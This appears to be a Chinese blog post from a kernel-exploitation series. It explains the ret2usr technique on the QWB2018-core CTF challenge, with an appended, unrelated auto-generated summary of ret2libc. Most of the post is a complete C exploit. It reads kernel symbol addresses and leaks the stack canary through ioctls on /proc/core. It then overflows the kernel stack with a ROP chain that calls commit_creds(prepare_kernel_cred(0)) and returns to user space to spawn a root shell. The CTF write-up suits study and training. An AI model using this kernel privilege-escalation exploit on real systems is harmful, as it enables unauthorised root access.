【kernel pwn】(叁)ret2usr

继续学习 kernel pwn 相关知识,同时记录一些方法。
本文以 QWB2018-core 为例

1.前置知识

ret2usr 利用了在不开 smep 时,用户空间进程不能访问内核空间,但是内核空间空间可以执行用户空间代码的这一特性。这样的话,就可以不用构造 rop 链,直接在内核空间跳到用户空间的 getshell 的代码上执行,这些 getshell 的代码可以自己编写,最终达到在非 root 用户下提权的目的。

2.题目分析

见 kernel pwn 系列二即可。

3.完整exp
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

size_t user_cs,user_ss,user_rflags,user_sp;

size_t commit_creds=0,prepare_kernel_cred=0;

size_t vmlinux_base;

void save_status()
{
  __asm__(
    "mov user_cs,cs;"
    "mov user_ss,ss;"
    "mov user_sp,rsp;"
    "pushf;"
    "pop user_rflags;"
  );
  puts("[*] status has been saved.");

}

void BeRoot()
{
    char* (*fun1)(int) = prepare_kernel_cred;
    void  (*fun2)(char*) = commit_creds;
    (*fun2)((*fun1)(0));
}

void GetRootShell()
{
    if(!getuid()){
        system("/bin/sh");
    }
    else{
        puts("[*] get root shell error!");
    }
}

size_t FindVmlinuxBase()
{
    int fd = fopen("/tmp/kallsyms","r");
    if(fd == -1){
        puts("[*]open symbol file failed.");
    }
    char buf[0x30] = {0};
    while(fgets(buf,0x30,fd)){
        if(commit_creds && prepare_kernel_cred)
            return 0;
        if(strstr(buf,"commit_creds") && !commit_creds){
            char hex[0x20] = {0};
            strncpy(hex,buf,0x10);
            sscanf(hex,"%llx",&commit_creds);
            vmlinux_base = commit_creds - 0x9c8e0;
            printf("[*]vmlinux base => %llx\n",vmlinux_base);
        }
        if(strstr(buf,"prepare_kernel_cred") && !prepare_kernel_cred){
            char hex[0x20] = {0};
            strncpy(hex,buf,0x10);
            sscanf(hex,"%llx",&prepare_kernel_cred);
            vmlinux_base = prepare_kernel_cred - 0x9cce0;
            printf("[*]vmlinux base => %llx\n",vmlinux_base);
        }
    }
}

size_t raw_vmlinux_base = 0xffffffff81000000;

int main()
{
    save_status();
    FindVmlinuxBase();
    printf("[*]prepare_kernel_cred addr:%p\n",prepare_kernel_cred);
    printf("[*]commit_creds addr:%p\n",commit_creds);
    //leak sth
    int core_fd = open("/proc/core",2);
    char* user_buf = (char*)malloc(0x50*sizeof(char));
    memset(user_buf,0,sizeof(char)*0x50);
    //set off=0x40
    ioctl(core_fd,0x6677889C,0x40);
    //read to user_buf
    ioctl(core_fd,0x6677889B,user_buf);
    size_t canary = ((size_t*)user_buf)[0];
    printf("[*]leaked canary:%p",canary);
    //rops
    size_t rop[0x1000];
    int i = 0;
    size_t offset = vmlinux_base - raw_vmlinux_base;
    for(i=0;i<10;i++)
        rop[i] = canary;
    rop[i++] = BeRoot;
    rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
    rop[i++] = 0;

    rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret; 

    rop[i++] = (size_t)GetRootShell;         // rip 

    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;

    write(core_fd, rop, 0x800);
    ioctl(core_fd, 0x6677889a,0xffffffffffff0000 | (0x100));

    return 0;
}

在这里插入图片描述

那如果开了 smep 保护怎么办呢?
就是上一节记录的纯 rop 即可。

参考链接:
[1] https://ama2in9.top/2020/09/03/kernel/

pwn ret2libc是一种攻击技术,其原理是通过利用程序中的栈溢出漏洞,来控制程序的执行流程,以达到执行libc中的函数的目的。 在ret2libc攻击中,程序会调用libc库中的函数,例如system函数,来执行特定的操作。但是在程序中没有自带的/bin/sh字符串,所以需要通过其他方式获取执行shell命令的能力。 具体而言,攻击者会利用程序中的栈溢出漏洞,将栈上的返回地址修改为在libc库中的某个函数的地址,例如puts函数。然后通过执行puts函数,将栈上保存的函数地址打印出来。由于libc库中的函数地址相对位置是不变的,攻击者可以根据已知的函数地址和libc的版本来计算system函数的真实地址。然后再利用system函数执行特定的操作,比如执行shell命令。 总结来说,pwn ret2libc攻击的原理是通过栈溢出漏洞修改返回地址为libc库中的一个函数地址,然后根据已知的函数地址和libc的版本计算出system函数的真实地址,最终实现执行shell命令的目的。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [pwn学习——ret2libc2](https://blog.csdn.net/MrTreebook/article/details/121595367)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [pwn小白入门06--ret2libc](https://blog.csdn.net/weixin_45943522/article/details/120469196)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值